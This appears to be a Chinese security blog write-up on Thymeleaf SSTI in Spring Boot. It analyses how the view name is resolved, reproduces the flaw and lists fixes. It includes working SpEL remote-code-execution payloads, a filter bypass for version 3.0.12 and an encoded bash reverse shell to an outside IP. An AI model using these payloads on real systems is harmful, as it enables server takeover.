目录

  1. 1. 前言
  2. 2. 原理
    1. 2.1. 相关语法
    2. 2.2. SpringMVC 视图解析过程分析
      1. 2.2.1. 封装ModelAndView对象
      2. 2.2.2. 获取视图
      3. 2.2.3. 视图渲染
    3. 2.3. 回显原理
  3. 3. 漏洞复现
    1. 3.1. templatename
    2. 3.2. selector
    3. 3.3. URI path
      1. 3.3.1. 构造回显
      2. 3.3.2. 分析
  4. 4. 修复
    1. 4.1. 配置ResponseBody或RestController注解
    2. 4.2. 通过redirect:
    3. 4.3. 方法参数中设置HttpServletResponse 参数
  5. 5. 其它姿势
    1. 5.1. ::位置
    2. 5.2. 省略__
  6. 6. 高版本下的bypass
  7. 7. 2.x版本
  8. 8. 其它的payload

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Thymeleaf SSTI

2024/7/10 Web SSTI Java
  |     |   总文章阅读量:

前言

趁热打铁,昨天刚学完thymeleaf引擎今天直接上注入

参考:

https://xz.aliyun.com/t/10514

https://www.anquanke.com/post/id/254519

https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/

https://www.cnpanda.net/sec/1063.html

以这个项目进行漏洞复现:https://github.com/veracode-research/spring-view-manipulation

环境jdk1.8 + springboot 2.2.0 +thymeleaf 3.0.11


原理

相关语法

Thymeleaf 3.x 版本后,新增了~{...}片段表达式,而出现SSTI问题的主要原因也在于此

复习一下语法:

~{templatename::selector}**,会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment

如有一个 html 文件的代码如下:

<!DOCTYPE html> 
<html xmlns:th="http://www.thymeleaf.org"> 
<body> <div th:fragment="banquan"> &copy; 2021 ThreeDream yyds</div> 
</body> 
</html>

然后在另一template中可以通过片段表达式引用该片段:

<div th:insert="~{footer :: banquan}"></div>

th:insertth:replace插入片段是比较常见的用法

  • ~{templatename}**:引用整个templatename模版文件作为fragment
  • ~{::selector}~{this::selector}**:引用来自同一模版文件名为selectorfragmnt。在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等
  • ~{}片段表达式中出现::,那么 ::后需要有值(也就是selector

Thymeleaf中的预处理表达式__${expression}__,因为预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行


现在切入正题

image-20240710173131353

看这里的/path路由:

   @GetMapping("/path")
public String path(@RequestParam String lang) {
       return "user/" + lang + "/welcome"; //template path is tainted
   }

乍一看只是一个语言选择的参数lang,但是这里采用的是 thymeleaf 模板,就出现了问题

在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。

而这里的视图名,就是lang参数,当我们传入参数值en的时候,会正常渲染这里的en/welcome.html


接下来跟一下这个视图解析的过程,其实大部分都是MVC对request的处理流程,在MVC中是DispatcherServlet拦截请求并分发到Handler处理

SpringMVC 视图解析过程分析

下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)

开始调试,传入/path?lang=en

image-20240710181149064

首先获取到了Handler消息处理,之后进入doDispatch方法的实现,这里重点注意下下面3个方法

  • ha.handle() ,获取ModelAndView也就是Controller中的return值

  • applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值

  • processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

image-20240710181729565

封装ModelAndView对象

先跟进到ha.handle()

调用了/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal

image-20240710182306729

然后继续跟,一路来到调用invokeHandlerMethod方法,这里就是使用Handler处理request并获取ModelAndView

image-20240710182557297

跟进invokeHandlerMethod到调用invokeAndHandle

image-20240710182924461

跟进invokeAndHandle

image-20240710183221338

可以看到这里做了如下操作:

  • invokeForRequest会调用Controller后获取返回值到returnValue

    这里的controller是HelloController.java

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }
  • 判断returnValue是否为空,如果是则继续判断isRequestHandled是否为True,都满足的话设置requestHandledtrue

  • 通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer

总结一下,就是根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,然后通过Thymeleaf模板引擎去查找,并返回给用户

image-20240710183847319

可以看到经过了invokeForRequest处理后return的字符串和前后缀拼接在了一起,然后在templates目录下寻找模板文件,这里找的就是templates/user/en/welcome.html

接下来跟到handleReturnValue方法

public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
       //获取handler
       HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
       if (handler == null) {
           throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
       } else {
           //执行handleReturnValue操作
           handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
       }
   }

然后进ViewNameMethodReturnValueHandler#handleReturnValue

  • 判断返回值类型是否为字符型,设置mavContainer.viewName
  • 判断返回值是否以redirect:开头,如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
       if (returnValue instanceof CharSequence) {
           String viewName = returnValue.toString();
           //设置返回值为viewName
           mavContainer.setViewName(viewName);
           //判断是否需要重定向
           if (this.isRedirectViewName(viewName)) {
               mavContainer.setRedirectModelScenario(true);
           }
       } else if (returnValue != null) {
           throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
       }
   }

通过上面的操作,将返回值设置为mavContainer.viewName

执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通过getModelAndView获取ModelAndView对象

image-20240710185654740

getModelAndView根据viewNamemodel创建ModelAndView对象并返回

image-20240710185924354


接下来跟进到applyDefaultViewName方法

如果 ModelAndView 值不为null则什么也不做,否则如果defaultViewName存在值则会给 ModelAndView 赋值为 defaultViewName,也就是将 URI path 作为视图名称

image-20240710193340699


获取视图

接下来跟进到processDispatchResult,获取到ModelAndView值后会进入到processDispatchResult方法

第1个if会被跳过,跟进第2个if中的render方法

image-20240710193725373

render方法中,首先会调用getViewName来获取mv对象的viewName

image-20240710193923360

然后调用resolveViewName方法

image-20240710194219967

循环遍历所有视图解析器解析视图,解析成功则返回,可以看到右下角这里有5个视图解析器

本以为会在ThymeleafViewResolver中获取视图,实际调试发现这里在ContentNegotiatingViewResolver中就已经获取到了视图

ContentNegotiatingViewResolver视图解析器允许使用同样的数据获取不同的View,支持三种方式:

  1. 使用扩展名:

    http://localhost:8080/employees/nego/Jack.xml
    返回结果为XML
    http://localhost:8080/employees/nego/Jack.json
    返回结果为JSON
    http://localhost:8080/employees/nego/Jack
    使用默认view呈现,比如JSP

  2. HTTP Request Header中的Accept:Accept 分别是text/jsptext/pdftext/xmltext/json无Accept请求头

  3. 使用参数:

    http://localhost:8080/employees/nego/Jack?format=xml
    返回结果为XML
    http://localhost:8080/employees/nego/Jack?format=json
    返回结果为JSON

接下来跟进到ContentNegotiatingViewResolver#resolveViewName方法

image-20240710195200924

getCandidateViews循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图

image-20240710195405092

image-20240710195451593


接下来进入getBestView,根据Accept头获取最优的视图返回

image-20240710195808153

最终返回的是ThymeleafView

image-20240710200007899


视图渲染

下一步是调用render方法

image-20240710200308152

进入ThymleafView#render,接下来就是调用renderFragment**,这里就是漏洞触发的关键点之一了

image-20240710200453736

该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器

然后调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式~{})并解析执行

image-20240710200843665

因为我们这边的 viewTemplateName 为 user/en/welcome,所以不会进入parseExpression


回显原理

这种回显的本质其实是 throw 某个会包含表达式执行结果的异常,而在低版本的 springboot (<= 2.2) 中, server.error.include-message 的默认值为 always,这使得默认的 500 页面会显示异常信息

但是在高版本的 springboot (>= 2.3) 中, 上述选项的默认值变成了 never, 那么 500 页面就不会显示任何异常信息,所以这种回显形式还是会有一定的局限性


漏洞复现

templatename

漏洞代码:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

打入payload:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

PS:因为这里最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome,所以根据前面分析即使不加.x依然可以触发命令执行

然后继续前面的分析,这样就进入了parseExpression

image-20240710201426798

StandardExpressionParser#parseExpression

通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容

image-20240710202246428

获取expression

image-20240710202506931

可以看到这里返回的expression已经是一个SPEL表达式了

最终调用execute方法,执行表达式

image-20240710202537749

于是就弹出计算器了,同时抛出错误

image-20240710202804970

所以这个漏洞的本质是SPEL表达式执行


selector

对于~{templatename::selector},因为前面是在templatename的位置注入表达式,那么我们同样也可以在selector处进行注入

漏洞代码:

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

payload:

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

其实这里也可以不需要.x::也可触发命令执行

值得注意的是,templatename和selector这两个地方的注入点不同会导致有无回显的差别,即最后抛出异常,templatename是存在结果回显的而找不到selector不存在结果回显

image-20240710204032791

image-20240710204046819

原因是最终抛出 TemplateInputException 异常的时候携带的是 template,也就是 :: 前面的内容,并没有带出 selector,详情看下面的回显分析

image-20240710205345656


URI path

漏洞代码:

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

payload:

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

前面提过,在applyDefaultViewName方法处对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值即作为视图名称

所以我们直接在{document}位置传入payload,能直接弹计算器

但是当我们尝试执行 whoami 时,并没有产生回显,而是原封不动输出了我们的payload

image-20240710211509566

这是因为这个controller没有返回值,也不能有返回值,否则就不会调用applyDefaultViewName设置,如果我们的controller改成下面这样,将不会导致代码执行

@GetMapping("/doc/{document}")
    public String getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
        return "welcome";
    }

构造回显

templatename部分可控,没回显的原因在于defaultView中对URI path的处理,为了解决这个问题,我们可以在payload的最后加两个.

payload:

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::..

需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显,类似于templatename和selector的区别

造成这个问题的地方在StandardExpressionParser#parseExpressionpreprocess预处理结束后还会再走Expression.parse进行一次解析,这里如果解析失败则不会回显

现在来使用::.x结尾的payload:

image-20240711022303079

可以看到这里::后面是没有内容的,因此解析后expression的值为null,所以最终会抛出IllegalArgumentException异常,携带的异常信息只包含了我们输入的内容, 并没有命令的回显

image-20240711103449462


而使用::..结尾的payload:

image-20240711022515345

这一步是正常解析出了expression,值变成 FragmentExpression

之后返回到 ThymeleafView#renderFragment 方法, 往下会将表达式执行结果作为 templateName,并提取出 :: 后面的内容作为 selector

然后调用 viewTemplateEngine.process()

image-20240711104350408

image-20240711105057414

跟进 TemplateManager#resolveTemplate

image-20240711105238882

templateResolver 负责在 classpath (prefix) 下依据 template (name) 和 suffix 寻找对应的模板文件

这里肯定是找不到的, 所以会抛出 TemplateInputException 异常, 但是这个异常会带出 tempate 名称并最终显示在 500 页面中, 因此达到了回显的效果

image-20240711105820284


分析

现在分析一下为什么::.x会被去掉:

在分析URI PATH这种方式能获取ModelAndView的原因时,我们分析过在applyDefaultViewName中获取URI Path作为ModelAndView的name,这个操作在DefaultRequestToViewNameTranslator#getViewName中完成

image-20240711024115948

image-20240711024130741

image-20240711024213451

@Override
public String getViewName(HttpServletRequest request) {
	String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
	return (this.prefix + transformPath(lookupPath) + this.suffix);
}

getLookupPathForRequest仅仅获取了请求的地址并没有对后面的.x做处理,处理主要是在transformPath中完成的

image-20240711024400363

@Nullable
protected String transformPath(String lookupPath) {
	String path = lookupPath;
	if (this.stripLeadingSlash && path.startsWith(SLASH)) {
		path = path.substring(1);
	}
	if (this.stripTrailingSlash && path.endsWith(SLASH)) {
		path = path.substring(0, path.length() - 1);
	}
	if (this.stripExtension) {
		path = StringUtils.stripFilenameExtension(path);
	}
	if (!SLASH.equals(this.separator)) {
		path = StringUtils.replace(path, SLASH, this.separator);
	}
	return path;
}

image-20240711024501146

stripFilenameExtension会去除最后一个.后的内容,所以可以通过下面的方式绕过

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas

总之就是让::后面有内容才能实现回显


修复

配置ResponseBody或RestController注解

@GetMapping("/doc/{document}")
    @ResponseBody
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

配置了ResponseBody注解后,在applyDefaultViewNameModelAndViewNull而非ModelAndView对象,所以hasView()会导致异常,不会设置视图名

原因是设置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以这里会调用它的handleReturnValue,设置了RequestHandled属性为True

此方法也适用于templatename,在设置了RequestHandled属性后,ModelAndView一定会返回Null

这样 spring 框架就不会将其解析为视图名,而是直接返回,不再调用模板解析


通过redirect:

根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //FP as redirects are not resolved as expressions
}

方法参数中设置HttpServletResponse 参数

@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
    }

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析


其它姿势

::位置

::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

省略__

当Controller如下配置时,可以省略__包裹

@RequestMapping("/path")
public String path2(@RequestParam String lang) {
    return lang; //template path is tainted
}

即去掉了前后缀

payload:

$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x

高版本下的bypass

3.0.12版本,Thymeleaf 在 util目录下增加了一个名为SpringStandardExpressionUtils.java的文件

当调用表达式的时候,会经过该函数的判断:

public static boolean containsSpELInstantiationOrStatic(final String expression) {

        final int explen = expression.length();
        int n = explen;
        int ni = 0; // index for computing position in the NEW_ARRAY
        int si = -1;
        char c;
        while (n-- != 0) {

            c = expression.charAt(n);

            if (ni < NEW_LEN
                    && c == NEW_ARRAY[ni]
                    && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
                ni++;
                if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                    return true; // we found an object instantiation
                }
                continue;
            }

            if (ni > 0) {
                n += ni;
                ni = 0;
                if (si < n) {
                    // This has to be restarted too
                    si = -1;
                }
                continue;
            }

            ni = 0;

            if (c == ')') {
                si = n;
            } else if (si > n && c == '('
                        && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                        && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
                return true;
            } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
                si = -1;
            }

        }
        return false;
    }

可以看到其主要逻辑是:首先倒序检测是否包含wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行

因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字new
2、在(的左边的字符不能是T
3、不能在T(中间添加的字符使得原表达式出现问题

关于这个的绕过方法是%20%0a%09

最终payload:

/path;/__${t(java.lang.runtime).getruntime().exec("calc")}__::.x
/path//__${t(java.lang.runtime).getruntime().exec("calc")}__::.x

注意:命令执行的payload 中不能含有/


2.x版本

片段表达式 ~{ }这个特性是在 3.0 版本引入的,但是其实 2.x 版本也能触发漏洞

同样存在 preprocess 方法来处理预处理表达式

对于不含预处理表达式的 payload, 同样能够执行, 只是位置不太一样


其它的payload

__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x

3.0.15版本,来自于rwctf2024

[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

或者

<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>